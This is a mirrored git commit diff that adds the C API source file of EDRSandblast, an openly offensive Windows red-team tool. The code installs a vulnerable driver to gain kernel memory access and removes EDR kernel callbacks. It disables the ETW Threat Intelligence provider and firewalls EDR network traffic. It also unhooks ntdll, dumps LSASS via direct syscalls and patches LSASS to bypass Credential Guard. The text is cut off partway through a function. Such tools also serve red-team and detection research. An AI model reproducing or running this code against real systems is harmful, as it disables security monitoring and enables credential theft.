mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-08 16:37:12 +00:00
D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more
Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
@@ -0,0 +1,762 @@
|
||||
#include <Windows.h>
|
||||
#include <PathCch.h>
|
||||
|
||||
#include "../EDRSandblast/EDRSandblast.h"
|
||||
#include "../EDRSandblast/Includes/CredGuard.h"
|
||||
#include "../EDRSandblast/Includes/DriverOps.h"
|
||||
#include "../EDRSandblast/Includes/ETWThreatIntel.h"
|
||||
#include "../EDRSandblast/Includes/FileUtils.h"
|
||||
#include "../EDRSandblast/Includes/Firewalling.h"
|
||||
#include "../EDRSandblast/Includes/KernelCallbacks.h"
|
||||
#include "../EDRSandblast/Includes/KernelMemoryPrimitives.h"
|
||||
#include "../EDRSandblast/Includes/ProcessDump.h"
|
||||
#include "../EDRSandblast/Includes/ProcessDumpDirectSyscalls.h"
|
||||
#include "../EDRSandblast/Includes/NtoskrnlOffsets.h"
|
||||
#include "../EDRSandblast/Includes/ObjectCallbacks.h"
|
||||
#include "../EDRSandblast/Includes/RunAsPPL.h"
|
||||
#include "../EDRSandblast/Includes/Syscalls.h"
|
||||
#include "../EDRSandblast/Includes/UserlandHooks.h"
|
||||
#include "../EDRSandblast/Includes/WdigestOffsets.h"
|
||||
#include "EDRSandblast_API.h"
|
||||
|
||||
// A passer dans le core?
|
||||
EDRSB_STATUS _InstallVulnerableDriver(EDRSB_CONTEXT* ctx) {
|
||||
EDRSB_CONFIG* config = ctx->config;
|
||||
|
||||
WCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
/*
|
||||
* Setup the driver path
|
||||
*/
|
||||
WCHAR driverPath[MAX_PATH] = { 0 };
|
||||
WCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE;
|
||||
if (config->vulerableDriverPath == NULL) {
|
||||
WCHAR separator[] = L"\\";
|
||||
wcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
|
||||
wcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
|
||||
wcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
|
||||
}
|
||||
else {
|
||||
wcscat_s(driverPath, _countof(driverPath), config->vulerableDriverPath);
|
||||
}
|
||||
if (!FileExistsW(driverPath)) {
|
||||
_tprintf_or_not(TEXT("[!] Required driver file not present at %s\n"), driverPath);
|
||||
return EDRSB_DRIVER_NOT_FOUND;
|
||||
}
|
||||
config->vulerableDriverPath = _wcsdup(driverPath);
|
||||
|
||||
/*
|
||||
* Actually installs the driver
|
||||
*/
|
||||
LPTSTR serviceNameIfAny = NULL;
|
||||
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(config->vulerableDriverPath, &serviceNameIfAny);
|
||||
if (isDriverAlreadyRunning) {
|
||||
_putts_or_not(TEXT("[+] Vulnerable driver was already installed"));
|
||||
SetDriverServiceName(serviceNameIfAny);
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Installing vulnerable driver..."));
|
||||
BOOL status = InstallVulnerableDriver(config->vulerableDriverPath);
|
||||
if (status != TRUE) {
|
||||
_putts_or_not(TEXT("[!] An error occurred while installing the vulnerable driver"));
|
||||
_putts_or_not(TEXT("[*] Uninstalling the service and attempting the install again..."));
|
||||
Sleep(20000);
|
||||
CloseDriverHandle();
|
||||
status = UninstallVulnerableDriver();
|
||||
Sleep(2000);
|
||||
status = status && InstallVulnerableDriver(config->vulerableDriverPath);
|
||||
Sleep(2000);
|
||||
if (status != TRUE) {
|
||||
_putts_or_not(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the driver left..."));
|
||||
return EDRSB_DRIVER_INSTALL_FAILED;
|
||||
}
|
||||
}
|
||||
Sleep(5000);// TODO : replace by a reliable method to check if the driver is ready
|
||||
}
|
||||
_putts_or_not(TEXT("\n"));
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
// A passer dans le core?
|
||||
EDRSB_STATUS _LoadNtosKrnlOffsets(EDRSB_CONTEXT* ctx) {
|
||||
EDRSB_CONFIG* config = ctx->config;
|
||||
|
||||
EDRSB_STATUS status;
|
||||
BOOL offsetsLoaded = FALSE;
|
||||
|
||||
if (ctx->config->offsetRetrievalMethod.Embeded) {
|
||||
/* TODO */
|
||||
}
|
||||
|
||||
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.File) {
|
||||
WCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
|
||||
WCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
if (config->kernelOffsetFilePath == NULL) {
|
||||
WCHAR offsetCSVName[] = L"\\NtoskrnlOffsets.csv";
|
||||
wcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
wcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
else {
|
||||
wcscat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), config->kernelOffsetFilePath);
|
||||
}
|
||||
|
||||
if (!FileExistsW(ntoskrnlOffsetCSVPath)) {
|
||||
_tprintf_or_not(TEXT("[!] Kernel offsets file not present at %s\n"), ntoskrnlOffsetCSVPath);
|
||||
config->kernelOffsetFilePath = NULL;
|
||||
}
|
||||
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file"));
|
||||
config->kernelOffsetFilePath = _wcsdup(ntoskrnlOffsetCSVPath);
|
||||
LoadNtoskrnlOffsetsFromFile(config->kernelOffsetFilePath);
|
||||
if (!NtoskrnlNotifyRoutinesOffsetsArePresent()) { // (only check notify routines offsets, because ETW Ti might legitimately be absent on "old" Windows versions)
|
||||
_putts_or_not(TEXT("[!] Kernel offsets are missing from the CSV for the version of ntoskrnl in use."));
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Kernel offsets were loaded from the CSV file for the version of ntoskrnl in use."));
|
||||
offsetsLoaded = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.Internet) {
|
||||
_putts_or_not(TEXT("[+] Downloading kernel offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
|
||||
LoadNtoskrnlOffsetsFromInternet(FALSE);
|
||||
|
||||
if (!NtoskrnlNotifyRoutinesOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("[-] Downloading kernel offsets from the internet failed!"));
|
||||
}
|
||||
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Downloading kernel offsets succeeded!"));
|
||||
offsetsLoaded = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
if (!offsetsLoaded) {
|
||||
_putts_or_not(TEXT("[!] The kernel offsets required couldn't be retrieve using any of the methods specified\n"));
|
||||
status = EDRSB_KERNEL_OFFSETS_NOT_FOUND;
|
||||
}
|
||||
else {
|
||||
status = EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
// A passer dans le core?
|
||||
EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) {
|
||||
EDRSB_CONFIG* config = ctx->config;
|
||||
|
||||
EDRSB_STATUS status;
|
||||
BOOL offsetsLoaded = FALSE;
|
||||
|
||||
if (ctx->config->offsetRetrievalMethod.Embeded) {
|
||||
/* TODO */
|
||||
}
|
||||
|
||||
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.File) {
|
||||
WCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
|
||||
WCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
if (config->wdigestOffsetFilePath == NULL) {
|
||||
WCHAR offsetCSVName[] = L"\\WdigestOffsets.csv";
|
||||
wcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
wcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
else {
|
||||
wcscat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), config->wdigestOffsetFilePath);
|
||||
}
|
||||
|
||||
if (!FileExistsW(wdigestOffsetCSVPath)) {
|
||||
_tprintf_or_not(TEXT("[!] Wdigest offsets file not present at %s\n"), wdigestOffsetCSVPath);
|
||||
config->wdigestOffsetFilePath = NULL;
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Loading wdigest related offsets from the CSV file"));
|
||||
config->wdigestOffsetFilePath = wdigestOffsetCSVPath;
|
||||
LoadWdigestOffsetsFromFile(config->wdigestOffsetFilePath);
|
||||
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of wdigest in use."));
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Wdigest offsets were loaded from the CSV file for the version of wdigest in use."));
|
||||
offsetsLoaded = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.Internet) {
|
||||
_putts_or_not(TEXT("[+] Downloading wdigest offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
|
||||
LoadWdigestOffsetsFromInternet(FALSE);
|
||||
|
||||
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_putts_or_not(TEXT("[-] Downloading wdigest offsets from the internet failed!"));
|
||||
}
|
||||
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Downloading wdigest offsets succeeded!"));
|
||||
offsetsLoaded = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
if (!offsetsLoaded) {
|
||||
_putts_or_not(TEXT("[!] The wdigest offsets required couldn't be retrieve using any of the methods specified\n"));
|
||||
status = EDRSB_WDIGEST_OFFSETS_NOT_FOUND;
|
||||
}
|
||||
else {
|
||||
status = EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
|
||||
EDRSB_STATUS status;
|
||||
BOOL driverInstallRequired = FALSE;
|
||||
BOOL kernelOffsetsLoaded = FALSE;
|
||||
ctx->config = config;
|
||||
|
||||
if (config->actions.ProtectProcess) {
|
||||
config->bypassMode.Krnlmode = 1;
|
||||
}
|
||||
|
||||
// Check that the parameters are valid for BypassMode krnlmode.
|
||||
if (config->bypassMode.Krnlmode) {
|
||||
status = _LoadNtosKrnlOffsets(ctx);
|
||||
if (status != EDRSB_SUCCESS) {
|
||||
_tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
|
||||
return status;
|
||||
}
|
||||
else {
|
||||
kernelOffsetsLoaded = TRUE;
|
||||
}
|
||||
|
||||
driverInstallRequired = TRUE;
|
||||
}
|
||||
|
||||
// Check that the parameters are valid for BypassMode Usermode.
|
||||
if (config->bypassMode.Usermode) {
|
||||
/* No pre-requiste yet */
|
||||
}
|
||||
|
||||
if (config->actions.ProtectProcess) {
|
||||
if (g_ntoskrnlOffsets.st.eprocess_protection == 0x0) {
|
||||
_putts_or_not(TEXT("[-] Init failed: missing the _PS_PROTECTION offset, cannot set process as Protected"));
|
||||
return EDRSB_KERNEL_OFFSETS_NOT_FOUND;
|
||||
}
|
||||
|
||||
driverInstallRequired = TRUE;
|
||||
}
|
||||
|
||||
if (config->actions.BypassCredguard) {
|
||||
status = _LoadWdigestOffsets(ctx);
|
||||
if (status != EDRSB_SUCCESS) {
|
||||
_tprintf_or_not(TEXT("[-] Init failed: required offsets for CredentialGuard bypass couldn't be loaded (error 0x%lx)!\n"), status);
|
||||
return status;
|
||||
}
|
||||
}
|
||||
|
||||
if (driverInstallRequired) {
|
||||
status = _InstallVulnerableDriver(ctx);
|
||||
if (status != EDRSB_SUCCESS) {
|
||||
_tprintf_or_not(TEXT("[-] Init failed: driver couldn't be installed (error 0x%lx)!\n"), status);
|
||||
return status;
|
||||
}
|
||||
|
||||
ctx->isDriverInstalled = TRUE;
|
||||
}
|
||||
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
|
||||
if (ctx && !ctx->config->bypassMode.Krnlmode) {
|
||||
_tprintf_or_not(TEXT("[-] Krnlmode operation failed: missing Krnlmode mode in config"));
|
||||
return EDRSB_MISSING_KRNLMODE;
|
||||
}
|
||||
|
||||
EDRSB_STATUS status;
|
||||
|
||||
struct FOUND_EDR_CALLBACKS* foundEDRDrivers = NULL;
|
||||
BOOL isSafeToExecutePayload = TRUE;
|
||||
BOOL foundNotifyRoutineCallbacks;
|
||||
BOOL foundObjectsCallbacks;
|
||||
BOOL isETWTICurrentlyEnabled;
|
||||
|
||||
BOOL verbose = ctx ? ctx->config->verbose : FALSE;
|
||||
|
||||
if (ctx) {
|
||||
_putts_or_not(TEXT("[+] Checking if any EDR Kernel callbacks are configured..."));
|
||||
}
|
||||
|
||||
foundEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!foundEDRDrivers) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks"));
|
||||
return EDRSB_MEMALLOC_FAIL;
|
||||
}
|
||||
|
||||
if (ctx) {
|
||||
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on process / thread creation & image loading"));
|
||||
}
|
||||
foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose);
|
||||
if (ctx && foundNotifyRoutineCallbacks) {
|
||||
ctx->foundNotifyRoutineCallbacks = TRUE;
|
||||
}
|
||||
if (ctx) {
|
||||
_tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT"));
|
||||
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication"));
|
||||
}
|
||||
|
||||
foundObjectsCallbacks = EnumEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
||||
if (ctx && foundObjectsCallbacks) {
|
||||
ctx->foundObjectCallbacks = TRUE;
|
||||
}
|
||||
if (ctx) {
|
||||
_tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
|
||||
}
|
||||
|
||||
if (ctx) {
|
||||
ctx->foundEDRDrivers = foundEDRDrivers;
|
||||
_putts_or_not(TEXT("[+] Check the ETW Threat Intelligence Provider state"));
|
||||
}
|
||||
else {
|
||||
free(foundEDRDrivers);
|
||||
foundEDRDrivers = NULL;
|
||||
}
|
||||
|
||||
isETWTICurrentlyEnabled = isETWThreatIntelProviderEnabled(verbose);
|
||||
if (ctx && isETWTICurrentlyEnabled) {
|
||||
ctx->isETWTICurrentlyEnabled = TRUE;
|
||||
}
|
||||
|
||||
if (ctx) {
|
||||
ctx->isETWTISystemEnabled |= ctx->isETWTICurrentlyEnabled;
|
||||
_tprintf_or_not(TEXT("[+] ETW Threat Intelligence Provider is %s!\n\n"), ctx->isETWTISystemEnabled ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||
ctx->krnlmodeMonitoringEnumDone = TRUE;
|
||||
}
|
||||
|
||||
if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) {
|
||||
status = EDRSB_KNRL_MONITORING;
|
||||
}
|
||||
else {
|
||||
status = EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
|
||||
if (!ctx->config->bypassMode.Krnlmode) {
|
||||
_tprintf_or_not(TEXT("[-] Krnlmode operation failed: missing Krnlmode mode in config"));
|
||||
return EDRSB_MISSING_KRNLMODE;
|
||||
}
|
||||
|
||||
EDRSB_STATUS status;
|
||||
|
||||
if (!ctx->krnlmodeMonitoringEnumDone) {
|
||||
status = Krnlmode_EnumAllMonitoring(ctx);
|
||||
if (status != EDRSB_KNRL_MONITORING) {
|
||||
return status;
|
||||
}
|
||||
}
|
||||
|
||||
if (ctx->foundNotifyRoutineCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading..."));
|
||||
// TODO Disable <-> Remove.
|
||||
RemoveEDRNotifyRoutineCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
if (ctx->foundObjectCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication..."));
|
||||
// TODO Disable <-> Remove.
|
||||
DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
if (ctx->isETWTICurrentlyEnabled) {
|
||||
DisableETWThreatIntelProvider(ctx->config->verbose);
|
||||
ctx->isETWTICurrentlyEnabled = FALSE;
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
return Krnlmode_EnumAllMonitoring(NULL);
|
||||
}
|
||||
|
||||
EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
|
||||
if (!ctx->krnlmodeMonitoringEnumDone) {
|
||||
_putts(TEXT("[-] Kernel mode callbacks were not enumerated prior to this call"));
|
||||
return EDRSB_FAILURE;
|
||||
}
|
||||
|
||||
if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundNotifyRoutineCallbacks) {
|
||||
_putts_or_not(TEXT("Restoring EDR's kernel notify routine callbacks..."));
|
||||
RestoreEDRNotifyRoutineCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundObjectCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Restoring EDR's kernel object callbacks..."));
|
||||
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
// Renable the ETW Threat Intel provider.
|
||||
if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) {
|
||||
EnableETWThreatIntelProvider(ctx->config->verbose);
|
||||
}
|
||||
|
||||
if (ctx->foundEDRDrivers) {
|
||||
free(ctx->foundEDRDrivers);
|
||||
ctx->foundEDRDrivers = NULL;
|
||||
}
|
||||
|
||||
ctx->krnlmodeMonitoringEnumDone = FALSE;
|
||||
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
EDRSB_STATUS Action_SetCurrentProcessAsProtected(_In_ EDRSB_CONTEXT* ctx) {
|
||||
if (!ctx->config->actions.ProtectProcess) {
|
||||
_tprintf_or_not(TEXT("[-] Protecting of process failed: missing ProtectProcess action in config"));
|
||||
return EDRSB_MISSING_PROTECTPROCESS;
|
||||
}
|
||||
|
||||
_putts_or_not(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light)."));
|
||||
SetCurrentProcessAsProtected(ctx->config->verbose);
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
//TODO : remove, this API serves no purpose. Just expose SandMiniDumpWriteDump (with a userland bypass technique as parameter), and use GetSafeNtFunction inside SandMiniDumpWriteDump
|
||||
EDRSB_STATUS Action_DumpProcessByName(_In_ EDRSB_CONTEXT* ctx, _In_ LPWSTR processName, _In_ LPWSTR outputPath, EDRSB_USERMODE_TECHNIQUE usermodeTechnique) {
|
||||
EDRSB_CONFIG* config = ctx->config;
|
||||
|
||||
EDRSB_STATUS status;
|
||||
DWORD ntStatus;
|
||||
|
||||
if (usermodeTechnique != -1) {
|
||||
ntStatus = SandMiniDumpWriteDump(processName, outputPath);// , usermodeTechnique);
|
||||
if (ntStatus != STATUS_SUCCES) {
|
||||
_tprintf_or_not(TEXT("[-] Process dump failed: direct syscall MiniDumpWriteDump failed with error 0x%lx!\n"), ntStatus);
|
||||
status = EDRSB_FAILURE;
|
||||
}
|
||||
else {
|
||||
status = EDRSB_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
else {
|
||||
ntStatus = dumpProcess(processName, outputPath);
|
||||
if (!ntStatus) {
|
||||
_tprintf_or_not(TEXT("[-] Process dump failed: Lsass dump using Windows' MiniDumpWriteDump failed!"));
|
||||
status = EDRSB_FAILURE;
|
||||
}
|
||||
else {
|
||||
status = EDRSB_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
|
||||
EDRSB_STATUS Action_FirewallBlockEDR(_In_ EDRSB_CONTEXT* ctx) {
|
||||
if (!ctx->config->actions.FirewallEDR) {
|
||||
_tprintf_or_not(TEXT("[-] Firewalling failed: missing FirewallEDR action in config"));
|
||||
return EDRSB_MISSING_FIREWALLEDR;
|
||||
}
|
||||
|
||||
EDRSB_STATUS status;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
fwBlockingRulesList sFWEntries = { 0 };
|
||||
|
||||
_tprintf_or_not(TEXT("[*] Configuring Windows Firewall rules to block EDR network access...\n\n"));
|
||||
|
||||
hrStatus = FirewallBlockEDR(&sFWEntries);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] An error occured while attempting to create Firewall rules!\n\n"));
|
||||
status = EDRSB_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully configured Windows Firewall rules to block EDR network access!\n"));
|
||||
status = EDRSB_FAILURE;
|
||||
FirewallPrintManualDeletion(&sFWEntries);
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
EDRSB_STATUS Action_DisableCredGuard(_In_ EDRSB_CONTEXT* ctx) {
|
||||
if (!ctx->config->actions.BypassCredguard) {
|
||||
_tprintf_or_not(TEXT("[-] CredGuard bypass failed: missing BypassCredguard action in config"));
|
||||
return EDRSB_FAILURE;
|
||||
}
|
||||
|
||||
EDRSB_STATUS status;
|
||||
|
||||
if (disableCredGuardByPatchingLSASS()) {
|
||||
_putts_or_not(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system."));
|
||||
status = EDRSB_SUCCESS;
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed."));
|
||||
status = EDRSB_BYPASSCREDGUARD_FAILED;
|
||||
}
|
||||
|
||||
return status;
|
||||
|
||||
}
|
||||
|
||||
VOID Usermode_EnumAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx) {
|
||||
// zero-terminated HOOK array
|
||||
HOOK* hooks = searchHooks(NULL);
|
||||
ctx->foundUserlandHooks = hooks;
|
||||
}
|
||||
|
||||
VOID Usermode_RemoveAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx, EDRSB_USERMODE_TECHNIQUE technique) {
|
||||
UNHOOK_METHOD map_methods[5] = { 0 }; //maps EDRSB_USERMODE_TECHNIQUE enum with UNHOOK_METHOD enum
|
||||
map_methods[Unhook_with_ntdll_NtProtectVirtualMemory] = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
|
||||
map_methods[Copy_ntdll_and_load] = UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY;
|
||||
map_methods[Allocate_trampoline] = UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE;
|
||||
map_methods[Find_and_use_existing_trampoline] = UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE;
|
||||
map_methods[Use_direct_syscall] = UNHOOK_WITH_DIRECT_SYSCALL;
|
||||
UNHOOK_METHOD unhook_method = map_methods[technique];
|
||||
|
||||
if (!ctx->foundUserlandHooks) {
|
||||
Usermode_EnumAllMonitoring(ctx);
|
||||
}
|
||||
|
||||
HOOK* hooks = ctx->foundUserlandHooks;
|
||||
if (!hooks) {
|
||||
_putts_or_not(TEXT("[-] Failed to get userland hooks\n"));
|
||||
return;
|
||||
}
|
||||
|
||||
if (hooks->disk_function != NULL) {
|
||||
_putts_or_not(TEXT("[+] Removing detected userland hooks:\n"));
|
||||
}
|
||||
|
||||
for (HOOK* ptr = hooks; ptr->disk_function != NULL; ptr++) {
|
||||
printf_or_not("\tUnhooking %s using method %ld...\n", ptr->functionName, unhook_method);
|
||||
unhook(ptr, unhook_method);
|
||||
}
|
||||
}
|
||||
|
||||
EDRSB_STATUS _Usermode_GetSafeNtFunction_with_ntdll_copy(_Inout_ EDRSB_CONTEXT* ctx, _In_z_ const WCHAR* tempDLLFilePath, _In_z_ LPCSTR ntFunctionName, _Outptr_result_maybenull_ PVOID* function);
|
||||
EDRSB_STATUS _GetSafeNtFunctionUsingTrampoline(BOOL fromEdr, LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function);
|
||||
EDRSB_STATUS _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(_In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function);
|
||||
EDRSB_STATUS Usermode_GetSafeNtFunc(_Inout_ EDRSB_CONTEXT* ctx, _In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function, EDRSB_USERMODE_TECHNIQUE technique) {
|
||||
WCHAR tempDLLFilePath[MAX_PATH] = { 0 };
|
||||
switch (technique) {
|
||||
case Copy_ntdll_and_load:
|
||||
GetTempPathW(MAX_PATH, tempDLLFilePath);
|
||||
PathCchCombine(tempDLLFilePath, _countof(tempDLLFilePath), tempDLLFilePath, L"ntdlol.txt");//TODO : make it configurable
|
||||
return _Usermode_GetSafeNtFunction_with_ntdll_copy(ctx, tempDLLFilePath, functionName, function);
|
||||
case Allocate_trampoline:
|
||||
return _GetSafeNtFunctionUsingTrampoline(FALSE, functionName, function);
|
||||
case Find_and_use_existing_trampoline:
|
||||
return _GetSafeNtFunctionUsingTrampoline(TRUE, functionName, function);
|
||||
case Unhook_with_ntdll_NtProtectVirtualMemory:
|
||||
return _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(functionName, function);
|
||||
case Use_direct_syscall:
|
||||
*function = CreateSyscallStubWithVirtuallAlloc(functionName);
|
||||
if (*function) {
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
else {
|
||||
return EDRSB_FAILURE;
|
||||
}
|
||||
default:
|
||||
*function = NULL;
|
||||
return EDRSB_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Patch the ntdll section that corresponds to the asked function, replace it with its original content, and just return a poniter to the function address in ntdll.dll
|
||||
* The following actions are performed:
|
||||
* - The export that immediately follows the asked function is located, and will be considered as the function boundary
|
||||
* - The content of the function is copied from the on-disk version of ntdll.dll (after taking relocations into account), to the memory-mapped version
|
||||
*/
|
||||
EDRSB_STATUS _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(_In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function) {
|
||||
*function = NULL;
|
||||
|
||||
// Get ntdll.dll from memory and disk
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
// Look for the closest export from "function"
|
||||
DWORD functionRVA = PE_functionRVA(ntdll_disk, functionName);
|
||||
if (functionRVA) {
|
||||
return EDRSB_NT_FUNCTION_NOT_FOUND;
|
||||
}
|
||||
DWORD nextFunctionRVA = functionRVA - 1;
|
||||
for (DWORD i = 0; i < ntdll_disk->exportedNamesLength; i++) {
|
||||
DWORD someFunctionStartRVA = ntdll_disk->exportedFunctions[ntdll_disk->exportedOrdinals[i]];
|
||||
if (someFunctionStartRVA == functionRVA) {
|
||||
continue;
|
||||
}
|
||||
if ((someFunctionStartRVA - functionRVA) < (nextFunctionRVA - functionRVA)) {
|
||||
nextFunctionRVA = someFunctionStartRVA;
|
||||
}
|
||||
}
|
||||
|
||||
// Check we did not cross a section boundary (last export in the section)
|
||||
IMAGE_SECTION_HEADER* textSection = PE_sectionHeader_fromRVA(ntdll_disk, functionRVA);
|
||||
DWORD textSectionEndRVA = textSection->VirtualAddress + textSection->Misc.VirtualSize;
|
||||
if (textSectionEndRVA < nextFunctionRVA) {
|
||||
nextFunctionRVA = textSectionEndRVA;
|
||||
}
|
||||
|
||||
// The area to patch is between the two bounds
|
||||
PVOID functionStart = PE_RVA_to_Addr(ntdll_mem, functionRVA);
|
||||
PVOID functionEnd = PE_RVA_to_Addr(ntdll_mem, nextFunctionRVA);
|
||||
SIZE_T functionSize = (PBYTE)functionEnd - (PBYTE)functionStart;
|
||||
PVOID functionStartOnDisk = PE_RVA_to_Addr(ntdll_disk, functionRVA);
|
||||
|
||||
// Use NtProtectVirtualMemory to temporarily change page permissions and patch it with disk content
|
||||
